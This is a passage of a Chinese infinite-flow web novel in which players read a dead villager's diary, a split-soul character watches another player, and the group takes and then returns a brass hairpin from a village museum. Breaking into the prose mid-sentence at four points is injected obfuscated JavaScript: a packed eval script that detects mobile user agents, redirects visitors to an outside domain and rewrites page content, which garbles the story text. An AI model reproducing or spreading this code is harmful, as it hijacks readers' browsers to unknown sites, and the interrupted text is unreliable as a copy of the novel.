黄成钢刚拿到笔记的时候,他就很快看完了翻开的那页。 然后就在宁时旁边游荡。 现在,黄成钢翻开了新一页,江晏飘过去,又快速浏览了一遍。 然后他露出了“……”的表情,并对啾啾吐槽:“真不干人事啊。” 说完,又飘回了宁时旁边。 也许是分魂的原因,离宁时近一点,江晏总感觉莫名地舒服。 对面,黄成钢揉揉鼻子,再次开始朗读:“壬子年七月十二日。” “今天,我们没有等到李三花,先来我家里的,反而是卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902366|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余泽和他的家仆。” “这是他打了我之后,我们第一次见面。” “噢,理论上要是他敲我家的门,我们根本不会开门。” “但是他没有敲门,是直接破门而入的。” “我家的大门倒下了,我被拉到院子里时,能看到旁边扬尘还没有消散。” “新仇旧恨涌上心头,我指着卫余泽就开始骂他。” “他又露出了那种诡异蔑视的笑,他看着我,做了个什么收拾。” “然后那些家仆冲进了我家里,接着传来了叮叮咣咣的声音。” “我和爹娘围在一起,发着抖。” “是被气的,卫家过分至此,还要砸我们的家吗?” “但那些动静很快停止了,实话说,对于催毁一个住房,这个速度有点快。” “那些家仆又陆续出来了,前几个先出来的人,身上看起来挺干净,不像是打砸完事的样子。” “我一时不知道他们干了什么。” “未知产生了恐惧,我的心突然慌了。” “家里有什么值钱的,或者重要的东西呢?” “值钱的自然是没有。” “又不会有什么重要的东西……不对。” “我看着家仆们抬出了什么东西,想到,家里确实是有非常,非常重要的……人,不是东西。” “那就是躺着的姐姐。” “他们居然打扰了姐姐安息,把她抬了出来!” “意识到这一点后,我几乎疯掉了。” “爹娘看起来也快要疯了,他们扑上去试图拦住那些家仆。” “但是两个老人怎么能拦得住呢。” “家仆们带着姐姐越走越远,娘只碰到了她的头发丝。” “她只来得及摸到三花姐还给姐姐的簪子。” “家仆们越过了娘,她的手被迫与姐姐分开了。” “她倒在地上,手紧紧攥着,泛着一点亮光,那是姐姐的黄铜簪子。” “卫余泽看着我们,说:小爷让她留在水里,她就得留在水里。” “说完,转身就走了。” “我的身体不争气,这个时候,居然又昏了过去。” “再次醒来已经是晚上了。” “我眼皮很沉,头疼得很,甚至一时想不起来白天发生了什么。” “等脑子渐渐清楚了,我坐起来,准备喊爹娘,问问白天的事。” “谁知刚起来,就感觉有什么东西从胃里涌了上来。” “……我吐了一口血。” “爹娘问声赶来,看着我,又哭了。” “他们最近不知哭了多少回,头发白了不少。” “我问,姐姐呢。” “娘的脸色为难起来,她犹豫着最后爹长叹了口气,说,姓卫的把咱家姑娘又……放回水里去了。” “我大脑空白了片刻,才理解了这句话。” “卫余泽,我就等着你遭报应。” …… 黄成钢读完这句话后,一摊手:“嗯,我已经读了两天的了。” 接着把笔记递给陈锦瑶:“该你读了哈。” 陈锦瑶依然没有想到日期的问题,她“噢噢”了一声,微微起身,从黄成钢那里拿走了笔记。 小姑娘清了清嗓子:“壬子年七月十三日。” 56. 所谓的急病 “今天,三花姐又过来了。” “她看起来神色郁郁,这很正常,面对卫家做的这些事,没有人能心平气和。” “她来到我家,一开口却是道歉,她说,最近陪不了我们了。” “我们很能理解,三花姐本来和我们非亲非故,又是未出阁的女子,她这些天做的已经够多了,再在李家和沈家跑来跑去,怕是会招人闲话的。” “三花姐似乎看出了我们的想法,她苦笑着,说不是你们想的那样。” “那会是怎样呢?” “她看起来像是要哭了,她说,就在昨天,卫余泽找李家提亲了。” “我们甚至都没有反应过来。” “说完这句话后,三花姐脸上的悲伤渐渐淡去,随之浮现的是愤怒。” “她用比平时更高的声音说,卫余泽有病吧,他居然去我家里说要娶我。” “这下,我们终于听懂了。” “我惊得差点坐起来,可惜腿太疼了,没成功。” “娘则是一把拉住了三花姐的手,问她,那你嫁吗?” “我好像看到三花姐磨了磨牙,她说,嫁就嫁,我家里还有那么多人呢。” “她说的没错,李家家业比我们大不少,人丁也更兴旺,她确实要关注家族的利益。” “只是……我们始终不明白卫余泽为什么突然之间盯上了三花姐。” “还能是什么,是该死的胜负欲,三花姐如是说。” “她说,姐姐敢多次违抗卫余泽的心意,在卫余泽内心深处,是自己输给这个普通的小丫头了。” “而她又和姐姐玩得好,更是替姐姐打理了后事,卫余泽自然是要从三花姐身上找补。” “好像把她们关进了后宅院子里,就能掌控她们的一生。” “这次,三花姐没有在我家待太长时间就离开了,毕竟,她要准备去卫余泽家的东西了。” “爹娘也去给我熬药了,留我躺在床上。” “我的腿似乎更坏了,我好像闻到了什么味道。” “整个人也昏昏沉沉的,我想到了一个问题,趁着此时还算相对清醒时记下来。” “那就是,三花姐说姐姐多次违抗卫余泽的心意。” “多次这个说法是怎么来的呢?我作为她的亲人,只知道她不想嫁给卫余泽。” “中间肯定有我们不知道的事,是姐姐和三花姐共同的秘密。” “姐姐好像也有做记录的习惯,我想找一找,可惜现在行动不便。” “药真苦,我好难受。” …… 陈锦瑶往后翻了一页,纸张哗哗作响:“是下一天的了,我往下读了哈。” 她低头看了眼新翻开的纸张,眉毛微微蹙起:“字好乱啊。” 话一出口,陈锦瑶似乎也意识到了什么,用食指按了按鼻子,正色读道: “壬子年七月十四日,我感觉非常不好。” “我可能快要死掉了。” “全身在发热,腿很疼,也是身上最热的地方。” “它里面的筋一跳一跳的,我可能真的要死了。” “……” 陈锦瑶小声说:“这天的记录没有了。” 她犹疑地看着在场三位玩家,道:“不会真的人没了吧。” 宁时没有正面回答,只是说:“你读了两天的了,给我读下一页吧。” 康林看了他一眼。 宁时神色如常。 陈锦瑶则是“噢”了一声,站起身向宁时走去,一边走手上动作不停,一边把刚刚读过的笔记翻了上去。 然后她就在宁时身前停住了。 宁时抬眼看着她:“怎么了?” 陈锦瑶对宁时扬了扬纸,展示了下一页:“后面都是空白页了。” 她坐回了座位上:“……沈冬不会真死了吧。” 很快,陈锦瑶想起了村志馆里李叔的话,自言自语道:“啊,他肯定是因为这个死掉了。” “当时李叔还说他是得了急病没的,这么看,只是当时卫家的借口吧。” “沈冬就是被卫家打死的。” 堂屋里只有陈锦瑶自己的声音,其余三人神色凝重。 陈锦瑶也渐渐意识到了不对劲,她停下了,眨了眨眼,突然爆出来一句:“喵了个咪的!” 一时间,所有人的目光聚集在了她身上。 陈锦瑶捂着脑袋,压低声音小声尖叫:“这笔记停止的日期不对啊啊啊———” “没有的那一天是中元节啊啊啊——” 康林叹了口气,走到她旁边,拍了拍她的肩:“嗯,才想到这个啊,你反射弧真长。” 陈锦瑶蔫蔫的。 读完了沈冬的笔记,差不多已经到了休息的时间。 众人便各回各屋,顺便用整个晚上的时间来消化笔记里蕴含的巨大信息量。 江晏便跟着宁时飘到了床上。 屋子里熄了灯,他趴在宁时旁边,忍不住戳他的脸:“你什么时候才能发现我呢?” 隐身了很久的啾啾在听到这句话后终于有了反应:“什么?江晏你在期待什么?” 江晏继续戳宁时的脸:“我只是感觉那个画面会很有意思。” 啾啾:“我真是服了,那你说说,你的意思是期待他发现npc是一只鬼吗,还是说他发现这个npc和设定不一样?” 江晏看到宁时眉毛皱了皱,快速收回了手:“都行。” “而且,我估计我在这个世界作为npc的身份就是沈冬。” 啾啾拉长了声音:“哦,那分魂估计也能猜到。” “沈冬死的日子不好,玩家们可能要开始怀疑住在沈家旧址里面你的身份了。” 江晏又去扒拉宁时因为躺下而产生了一缕呆毛,无所谓道:“那能怎么样?我想他们还没有蠢到让我魂飞魄散。” 啾啾:“……行吧,你别玩脱了。” 江晏:“嗯哼。” 他继续玩宁时的呆毛。 在无限流世界里,玩家的身体会一直保持刚进入游戏的状态。 也就是说,不会发生在副本里待一周因为没地方洗澡而变臭了的事情。 江晏猜宁时进副本那天一定是洗过澡的,甚至还洗了头发。 那缕呆毛散发着淡淡的薄荷香气,是上一个世界里他们都喜欢的日化清洁品味道。 呆毛还很蓬松,很有弹性,江晏压下去松开手,又很快弹起来了。 完美的解压小玩具。 江晏换了个姿势,趴在宁时旁边,玩头发玩入了迷。 黄成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏认为自己的推理很完美。 他旁边,宁时好像为了证明他的猜想,继续做出了一系列毫无违和的后续动作。 江晏见他吸了口气,小声说:“冤有头债有主,前辈们不要找我啊。” “要找就找卫余泽啊。” 看起来……有点弱小,有点可怜。 江晏便有点舍不得逗他了。 本来孩子就睡不好,还是让他好好睡个觉吧。 江晏想着,把飘荡的意识再次沉回了这个世界的身体里面。 身子往下一坠,他又躺在了宁时旁边。 薄荷的香气慢慢包裹住了他。 江晏深吸了一大口,在这种明明应该提神醒脑的味道里,却渐渐生出了几分睡意。 果然,和分魂在一起的时候就是很安心,很催眠。 江晏看着宁时在月光下更加雪白的脸,在心底轻声说: 晚安,宁时。 57. 再探村志馆 这个夜晚很平静。 即使是在大家发现了沈冬的日记之后,也没有发生什么奇奇怪怪的事情。 在安稳地度过了一个晚上之后,早上,江晏和四位玩家再次聚集在了堂屋里,讨论今天的行动方案。 康林看了看江晏,对宁时道:“……课题里有些东西我还得再看看,我想去村志馆一趟。” 江晏看着她,心想,这个npc的身份虽然安全,但是有点麻烦啊。 玩家在他面前根本不会说出真话。 有点难搞。 他看向宁时。 宁时很快就领会了康林的意思,点点头:“嗯,我也是这么想的,那个黄铜飞鸟簪,我还想研究一下。” 宁时话音停了停,又对着余下几人问:“你们觉得呢?” 江晏在旁边,算是听出来了,这几个人估计是在看完沈冬的笔记后,觉得沈二二的飞鸟簪意义重大,基本能确定就是任务中提到的簪子,所以才会打算今天再去陈列着簪子的村志馆里看看。 没准还打算把飞鸟簪弄出来去池塘边带给沈二二试试呢。 江晏一边想着,一边观察着黄成钢和陈锦瑶的反应。 黄成钢很痛快地点点头,算是赞成了这个提议。 陈锦瑶则是先“嗯嗯”了一声,后面又犹犹豫豫道:“……那沈冬还提到过沈二二的笔记,我们今天还找一找吗?” 江晏听到此处,便想起了被自己又放回了西厢房里、且只有自己能看到的沈二二笔记,不由得精神为之一振。 他没有意识到自己挺直了腰板,这让宁时的目光在他身上停留了数秒。 旁边,陈锦瑶的疑问没有得到回应,她看了看明显在思考问题的康林,再看了看正注视着江晏的宁时,发出了疑惑的声音。 这一声让宁时和江晏同时回过神来。 他们同时干咳了一声。 两个人一起干咳的动静有点大,这下,康林也不再想事情了,她转过头,和陈锦瑶一起,用疑惑的眼神扫着这两个同步的人。 江晏:…… 宁时:…… 宁时对江晏抬起手,看起来是一个“请”的动作。 扑捉到他动作的江晏迅速对他做了一个完整“请”的手势,并说道:“你先来,你先。” 宁时的表情好像凝固了一瞬,似乎被江晏迅速的反应惊到了。 江晏在内心发出呵呵: 虽然都是我自己,但毕竟比这个世界的分魂多活了百年多,反应速度自然更胜一筹。 面前,宁时的尴尬和疑惑并没有持续多久,他很快调整了状态,对陈锦瑶道:“啊,是这样的。” “我们上次去村志馆,李叔说了铃声的事。” “可见,村志馆下班的时间是不确定的,而至于沈二二的笔记,大概率就在这个屋子里。” “有一周之内这个时间限制,我们还是先去村志馆看看吧。” 陈锦瑶点点头。 一行人就这样,再次出发了。 在前往村志馆的必经之路上,几人又路过了那个池塘。 在翻阅过沈冬的笔记,窥见了古老故事其中一角之后,再经过这里,几人看着那粼粼水面,都感到了几分不自在。 其中以黄成钢脸色最为不好——毕竟,只有他摸过里面的水。 五人默默对着水面站着,像水边生长出来的五个蘑菇。 先说话的是陈锦瑶,小姑娘看起来似乎想活跃气氛:“呃,这里景色还不错……沈二二在这里,也能看看风景。” 她显然失败了。 这句话说完之后,空气似乎比刚才更寂静了。 陈锦瑶的小脸慢慢垮下来了。 众人继续以一种默哀的姿势看着水面。 寂静的空气中,江晏突然清晰地听见了一个女人的轻笑声。 他一开始还以为是康林或陈锦瑶发出的,转脸一看,却发现二人都是绷着脸,不像是刚笑过的样子。 江晏:…… 事情开始不一般了。 所以到底是自己在这个世界里压力大产生幻听了呢还是因为真的有鬼啊! 他在内心发出咆哮。 啾啾声音响起,适时做出了回应:“不是你的幻听。” 江晏:“……所以是沈二二吗?我对处理这方面的事情没经验,就不能是我幻听了吗?” 啾啾打碎了他的期待:“放心,你出现幻听的概率比沈二二爱上卫余泽还低。” “你这些年道心坚定得很,一点走火入魔的迹象都没有……说起来这样还却因为分魂的事渡劫失败,估计也是修真界独一份的了。” 江晏人麻了:“你歇歇嘴吧,说什么不好,非说这个。” ——是了,渡劫失败,一直是疯狂搞事业的剑修听不得的事。 江晏决定把注意力从啾啾的鸟言鸟语中转移到当前的世界中。 面前,五个玩家依然静静面对着水面。 江晏正想说我们走吧,这时,他又听到了刚才那个笑声。 依然是轻轻的,但由于太短暂了,听不出来里面包含的感情。 江晏整个人不好了——这次,他可清清楚楚地看到,面前所有人的嘴边没动。 此时,宁时似有所感,偏过脸,看着一脸一言难尽的江晏:“怎么了?” 江晏犹豫一瞬,还是说出了实情:“我好像听到有女人的笑声。” 于是空气变得更加凝固。 宁时没有问他是不是听错了,只是默默后退了一步。 其他四位玩家离江晏也不远,听了这句话脸色都绿了,一时间,六人都整整齐齐离岸边远了一截。 宁时看着江晏:“你是今天才听到的?” 江晏点头:“嗯,之前没有听到过。” 宁时依然看着他,却没有再询问什么,像是陷入沉思。 陈锦瑶的声音响起:“是不是因为我们不是村里人,所以听不见?” 康林点头:“有这个可能。” 宁时看着江晏的眼神又多了几分东西。 江晏看得明明白白:分魂眼里都是对完成任务的渴望,这是把自己当成线索了。 啾啾小声插嘴:“所以别的你是一点也没看出来吗。” 江晏无语:“……还能有啥,他现在又不会有上个世界的记忆。” 得了他如此自信而肯定的答复,啾啾没有再理他。 一阵清风吹过,池塘水面微微涌动。 不知是不是江晏刚才那番话的效果,几人看到起伏的水面,甚至感到有什么东西在水下缓慢上浮。 黄成钢先说话了:“我们要么还是先去村志馆吧,别在这里耽误时间。” 虽然黄成钢经常办一些不正常的事情,但在眼下这个时候,他此时提的建议还是很正确的。 六人于是沿着这条路继续走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902368|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下去,到了村志馆。 他们运气还不错,村志馆开着门——显然,那意味着闭馆的铃声还没有响起。 他们有时间来探索。 李叔依然在村志馆入口的柜台后,这次他睡着,打着很大声的鼾,看起来睡得很熟。 玩家看着李叔,交换了一个眼神,都轻手轻脚地从他身边过去了。 江晏可以理解——玩家在无限流世界里做的事,大部分时候,在npc眼里就是在干坏事。 比如今天,五个玩家就有拿到黄铜飞鸟簪的打算。 江晏并不太确定他们是否会在今天动手,但在昨天读了沈冬笔记后,他认为玩家们是有拿簪子的可能的。 那自然是不能让李叔看到的。 他跟着五人,一路来到了存放簪子的大厅里。 看起来运气不错——这里虽然一个游客也没有,但还开满了灯。 亮堂堂的,非常方便他们接下来的行动。 几人来到了那黄铜飞鸟簪前。 康林压低了声音:“沈冬写到的是这个吗?” 宁时也同样小声说:“肯定是,我那天把簪子看过了一遍,只有这支是飞鸟造型的。” 康林点点头。 黄成钢说:“我们今天就把它拿走吧。” 没有人回答他的话。 康林在拼命踩他的脚,并试图捂嘴。 宁时则是看了眼江晏。 江晏回之以无辜的眼神。 …… 绝了,江晏想。 黄成钢刚刚肯定是忘记还有个“npc”在旁边呢,才会把心里话说出来。 康林和宁时则是还记得他是个npc,所以在使劲堵嘴。 黄成钢也不算傻,经历了刚刚一出,他自己也很快反应过来,看江晏的眼色就带了几分探寻。 江晏不太喜欢这人。 此时有点担心此人为了做任务而干掉他这个“npc”。 毕竟,无限流玩家随便决定一个npc的生死是一件很容易的事。 江晏不会那么容易被算计到,但他也不想留给自己被黄成钢恶心这么个可能。 江晏想了想,决定说点什么。 他说:“噢,李叔是已经答应你们把簪子拿走研究了啊。” 又补了一句:“那可小心一点,别弄坏了。” 江晏为自己的演技点了个赞,有了后面那半句,看起来更像个npc了。 果然,他说完这句话后,众人的神色没有那么紧张了。 黄成钢笑道:“哈哈,是啊是啊。” “隔着一层玻璃总觉得差点事,拿到手里研究,才能看出来细节。” 江晏配合地点点头。 几人站着飞鸟簪面前,宁时突然回头,对康林说:“我们今天就要拿走吗?” 康林抓了把头发:“……拿走看看吧。” 宁时“噢”了一声。 此时,黄成钢敲了敲玻璃,又指着装着飞鸟簪格子的右下角说:“锁着呢。” 江晏看去,果然看到一把小锁挂在上面。 他上手摸了摸:“砸开?” 黄成钢瞥了他一眼:“不行,李叔……李叔都睡着了,别吵到他老人家。” 江晏:……你想说的明明是别被李叔发现。 这时,一道乖巧的女声响起:“我能试试。” 江晏循声望去,是陈锦瑶。 58. 又闻钟声 江晏看着面前的女孩。 陈锦瑶眼睛和脸都偏圆润,没什么棱角,看起来很乖的样子。 所以江晏发出了所有人的疑问:“你真的可以把锁打开吗?” 陈锦瑶碰了碰那把锁:“我先试试吧。” 在众人的目光下,她从兜里掏出来一个口罩,又抽出来口罩上面的铁丝,对着锁芯一顿捅。 康林走过来,看着陈锦瑶手上的动作:“你还会这个?” 陈锦瑶看着锁芯,没有抬头,答道:“嗯,小时候经常这样干。” 黄成钢的声音插进来:“喔——背着父母撬开家里的锁找小男生玩去了?” 江晏瞪了他一眼。 陈锦瑶可能在这些天里被黄成钢气的次数有点多了,居然也学会反抗了。 她保持着看锁芯的姿势不动,只是把眼珠向上翻起,盯着黄成钢:“我可没说干什么,你这么说,该不会是你喜欢和小男生玩吧。” 康林乐了。 黄成钢骂了个脏字,在原地烦躁地转了一圈,踢了脚展柜。 由于展柜相连的面积太大了,黄成钢这一脚虽然控制了力气,但还是引起了大片震动的声音。 从天花板到脚底都在震。 众人本来就紧张,被他这么一弄,都下意识地抬起头,环顾四周。 值得庆幸的是,这场震动不过持续了三秒左右,存放簪子的展厅再次恢复了平静。 江晏和玩家也恢复了平静。 众人定下心神,便看向黄成钢。 黄成钢:“……这屋子的质量不行。” 他想起什么似的,看向陈锦瑶,愤愤道:“你怎么这么情绪化!我只是开个玩笑。” 陈锦瑶自从有怼了他第一次后,后面的话信手拈来:“啊,我还以为踢东西才是情绪化呢。” 黄成钢看起来要暴怒了。 这时,“嘎哒”一声脆响,吸引了所有人的注意。 陈锦瑶指了指展柜后面:“打开了。” 康林鼓掌:“瑶瑶真厉害!” 陈锦瑶突然就有些脸红了,她摸摸头发,小声说:“因为家长说耽误学习,把我的小说都锁起来啦。” “但我又想看,就偷偷试了很多方法,最后能把锁鼓捣开了。” 康林顺手也摸摸她的头:“只要不是沉迷就好啦——说起来,我们真的要带走飞鸟簪吗?” 她问出的问题也是每一个玩家心中的问题。 现在,在无限流世界的村志馆里,黄铜飞鸟簪和他们之间最后的那层玻璃阻碍也消失了。 簪子光华灿灿,他们只消一伸手臂,就能把它握在手中。 众人脸上神色各异。 康林看了众人一圈,最后道:“……那我拿一下试试?” 没有人反对,也就是默许了她的做法。 江晏看着她咬着牙,伸出手打开了柜门。 又看着她的手慢慢靠近簪子,最后一把握住。 到目前为止,一切都很平静,没有什么发生。 宁时看看康林,又回过头来对江晏说:“看起来没什么问题?” 江晏摊开手:“我失忆了。” 宁时的表情变得微妙起来,把头转了回去。 江晏总感觉他刚刚的回头里似乎……有一丝丝落寞。 但这不重要。 重要的是此刻面前的黄铜飞鸟簪。 康林握着簪子,说:“那我可拿起来了哈。” 众人赞同。 于是,康林手臂上肌肉微微起伏,用力把簪子从展架上取了下来。 她从玻璃展柜里伸出手,对众人展开。 飞鸟飞过了几百年的时间,落在了她的掌心里。 江晏跟着宁时凑了过去。 隔着玻璃和零距离接触确实不一样,能看到更多细节。 江晏发现,飞鸟簪的尖端没那么完整,似乎被修理过。 他认为和卫余泽有关,并默默记下了这一点。 簪子在玩家手里挨个传过,最终落在了江晏手里。 江晏:? 他不明白为什么刚才宁时顺手把簪子给了他这个“外人”。 他抬眼看着宁时。 还不等他发问,宁时好像看穿了他的心思,道:“给你拿着就拿着,没那么多为什么。” 江晏“哦”了一声,把簪子攥紧了。 簪子上还带着宁时手心的温度,有点热,掂起来有一定重量,硬硬的有些硌人。 江晏想,看起来就是一个普通首饰的样子。 他放下手,准备询问玩家们下一步动作。 江晏看看宁时,宁时眼神没有焦距,似乎在想事。 他一个又一个地看过去,康林嘴里在碎碎念,陈锦瑶在盯着康林看,至于黄成钢…… 江晏发现黄成钢在直勾勾地盯着自己……手里的飞鸟簪。 好吧。 江晏想,看四位玩家的样子,应该是拿到簪子之后,还没完全想好下一步怎么做,才会出现这种集体沉默的画面。 黄成钢突然开口:“宁时,康林你们在等什么,拿了簪子赶紧走啊。” 宁时扶了扶额:“应该是这样的……我只是感觉到现在为止,一切都有些太顺利了。” 一边又看向康林:“你觉得呢?” 康林嘴里小声嘟囔的话停了,她回过神来,思考了一下宁时的话:“我也有这种感觉,但目前也没什么别的线索,当然也不排除我们的思维盲区。” 黄成钢拍着大腿:“顺利是因为我们有实力!快点快点,好不容易拿到飞鸟簪,我们赶紧走吧。” 说罢,顺手推搡了江晏一把。 江晏猝不及防,被他推了个趔趄。 ……好烦。 在江晏没有看到的背后,目击了这一下的宁时眼角跳了跳,然后张口欲说些什么。 宁时确实说了什么,但没有人听到—— 他的声音被陡然出现的更大的声音压下去了。 这种更大的声音,在场的玩家们都曾听到过一次,今天此刻,是他们第二次听到。 他们听到了回响在村志馆里巨大的钟声。 连绵不断,一下又一下,撞在人心上。 江晏和四位玩家精神一振——这是要闭馆了。 李叔也马上要来了。 此时值得玩家们考虑的东西很多,场面一时显得有些乱七八糟的: 黄成钢:“快快快,李叔肯定要落锁了,我们拿了簪子就跑!” 宁时:“我们进来多长时间了?现在才几点啊?” 康林: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902369|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……十分钟,现在八点十分。啊……啊?我们刚把簪子拿出来两分钟就这样了?” 陈锦瑶:“我观察过了,这附近根本没有钟啊啊啊啊我讨厌这种副本!” 江晏叹了口气,这副场景,多少有点像他从前那批在秘境里历练的弟子了。 江峰主正沉浸在对往日的回忆之中,突然,他听到了除钟声之外的什么声音。 一个年轻、陌生的男声,声音带着回音,有些失真:“沈冬,你胆子真大啊。” 江晏:!!! 来不及嫌弃现在的场面混乱了,江晏决定加点料,把乱成一锅粥的现场平等地喂给每位玩家喝了:“你们刚刚有没有听到有人在讲话。” 一锅粥短暂地平静下来。 江晏快速而没有起伏地复述:“一个年轻男的声音,他说沈冬你胆子真大啊。” 玩家们发出尖锐爆鸣。 江晏眼看着宁时额角微微有些湿了:“这个语气该不是是卫余泽吧。” 他话音刚落,江晏听到那个声音又响了:“对啊,就是我,卫公子。” 江晏:…… 他不死心,又对众人问到:“你们真的没有听到声音吗,他刚刚又说话了。” 众人沉默。 江晏艰难道:“他说他是卫公子。” …… 除了卫余泽,应该不会有用这个自称的人了。 玩家们骚动起来。 康林:“我们昨天怎么分析的这个钟声来着?” 宁时:“有可能是提醒什么东西过来了。” 陈锦瑶:“所以现在卫余泽过来了。” 黄成钢:“跑啊!” 江晏:“……我们刚拿到簪子就响起钟声了呢。” 宁时用了抹了把脸,似乎下定了什么决心,对江晏道:“把簪子放回去吧。” 康林也点头。 陈锦瑶则是呆呆的:“啊?啊……噢噢,我明白了。” 黄成钢听了,踹了下玻璃幕墙:“你明白了个头啊!” 又一把抓住宁时的领子:“你到底是那边的?几个意思?” 江晏皱眉,上前去拉黄成钢:“干嘛呢,动手干嘛。” 这个世界的身体力气不大,江晏没能拉开黄成钢。 宁时依然被黄成钢抓着,语气冷冷:“簪子放在这里,又不会长腿跑了,大概率不会丢。” “但簪子要是镇压卫余泽的呢?拿走了,卫余泽放出来了。” 黄成钢继续用力摇晃宁时:“反正我们拿着簪子也不碍事啊——” 江晏放下试图拉开黄成钢的手,换了个站姿,抬起右腿用力向他踹了过去: “你往下想想好不好!沈二二肯定有意识在这个世界上。” “你把卫余泽放出来了,按照活着时的情况,沈二二被卫余泽害死了,难道死后卫余泽还不能再害她一次了?” “沈二二要是连意识都没了,我们才是全完蛋了呢!” 黄成钢听了他这一大段,愣了愣,手上力气一松,江晏顺势把宁时拉了出来。 江晏决定检查一下宁时的情况。 他回忆道刚刚黄成钢可能伤到了宁时的脖子。 江晏略一思考之后……扒开了宁时的领口。 四周突然安静极了。 59. 夹带 江晏对周遭众人的反应无知无觉。 他只是很尽职尽责地检查着分魂的状况。 康林游丝般的声音响起,音量并逐渐加强:“……你们在干什么,都什么时候了啊———” 江晏回过神来,他面不改色地放开宁时,甚至还帮他整理了一下领口,然后对着康林站定,道:“噢,检查一下他们刚才打架的情况。” 连江晏一个眼神都没有收到的黄成钢:…… 钟声还在响着,江晏意识到,现在有更重要的事。 他干咳一声:“飞鸟簪还在我这里对吧。” 又伸出手把飞鸟簪放到了展柜里,一面说道:“我放回去了啊。” 玩家们默许了。 江晏快速放好簪子,关上柜门,松了口气:“我们是不是该出去了?可别被李叔锁在里面。” 康林似乎被刚才那一幕冲击得厉害,语气依然有些飘忽:“啊对对对,我们赶紧走吧。” 说完,率先转过身,一行人就这样离开了。 他们运气不错,即便是已经耽误了几分钟,但也没被锁在村志馆里,更没有碰到李叔。 他们就这样畅通无阻地踏上了回家的路。 有收获,但不多。 江晏保持着从村志馆里出来时拉着宁时的姿势,一边想着什么。 他对啾啾说:“我总感觉忘了点什么,你帮我想想呗。” 啾啾给了他一记爆栗:“我又不是你的老妈子,自己想。” 江晏生气了,回给啾啾一个冷漠的“哦”。 ……所以到底是忘了什么呢,江晏一边捏着手上柔中带硬的东西,心不在焉地想。 等等……我手中的东西…… 柔中带硬。 江晏低头,看到了自己手里另一只修长的手。 江晏抬头,接上了宁时不知看了自己多久的目光。 宁时:“……摸够了?” 江晏:…… 啊啊啊啊!他拉着宁时走了一路。 江晏一把甩开他的手:“你怎么不反抗?” 宁时把手背到身后:“以为你有什么事。” 江晏:“……行吧。” 不知是不是他的错觉,江晏总觉得在回程的路上,宁时总在偷偷看自己。 有好几次,他瞥向宁时的视线都和对方撞在一起了。 好吧,从这个角度讲,也能叫做双向偷窥。 江晏一边努力控制着自己的眼神,一边思考。 似乎还有没想来的细节,是什么呢。 是什么呢。 …… 犹如闪电划过夜空,江晏豁然开朗——是他在扒拉黄成钢时说错了话! 他那些话,不应该是一个失忆的npc能说出来的。 若是光听着这几句话,倒像是玩家说出口的了。 想到这里,江晏开始心虚了。 他复盘了一下后续众人的反应。 似乎……似乎没什么特殊的反应。 可能是当时情况比较紧急,玩家又受自己主观视角的影响,没有想到吧。 应该没有什么破绽,江晏安慰自己。 一切看着都和以前没什么不同……除了宁时。 宁时确实看向自己的次数更多了。 江晏想,这到底是因为他发现了我说的话不合理,还是因为……因为我扒了他的衣服? 这是一个为难人的问题,它缠绕在江晏的脑海里。 江晏甩甩头,试图把这个没有答案的问题扔出脑海。 …… 一般无限流世界里,玩家能活动的范围不会很大。 比如这个世界,大家的活动范围就限于村庄。 所以,从村志馆回程的路也不会很长,不一会儿,玩家们就又来到了池塘旁边。 来都来了,那就去池塘边上看一眼情况吧。 湖面平静,水体清澈。 站在水边,不免想起刚刚遇到的罪魁祸首卫余泽,此时此刻,众人的心情更加复杂了。 宁时看着江晏:“刚才太乱了,没来得及问你,刚才你说听见了一个声音,是怎么回事?” 江晏:“……他说自己是卫公子。” 宁时扶额。 康林慢悠悠道:“你就别再问了,那肯定是卫余泽。” 宁时点点头,又突然对康林道:“我们现在相当于在沈二二面前提她的仇人吧。” 康林和众人的表情变得复杂起来。 宁时继续说:“……但是她好像没有什么反应。” 黄成钢打了个激灵,大声道:“那你还希望能有什么反应?” 江晏看着宁时沉默的侧脸,一时没忍住,接话说:“可能是想看到池塘里有个水花,或者什么东西浮上来吧。” 宁时听见了,看了他一眼。 江晏认为这个世界的分魂在用眼神夸自己,于是大大方方地回给宁时一个wink。 宁时又默默转过头去。 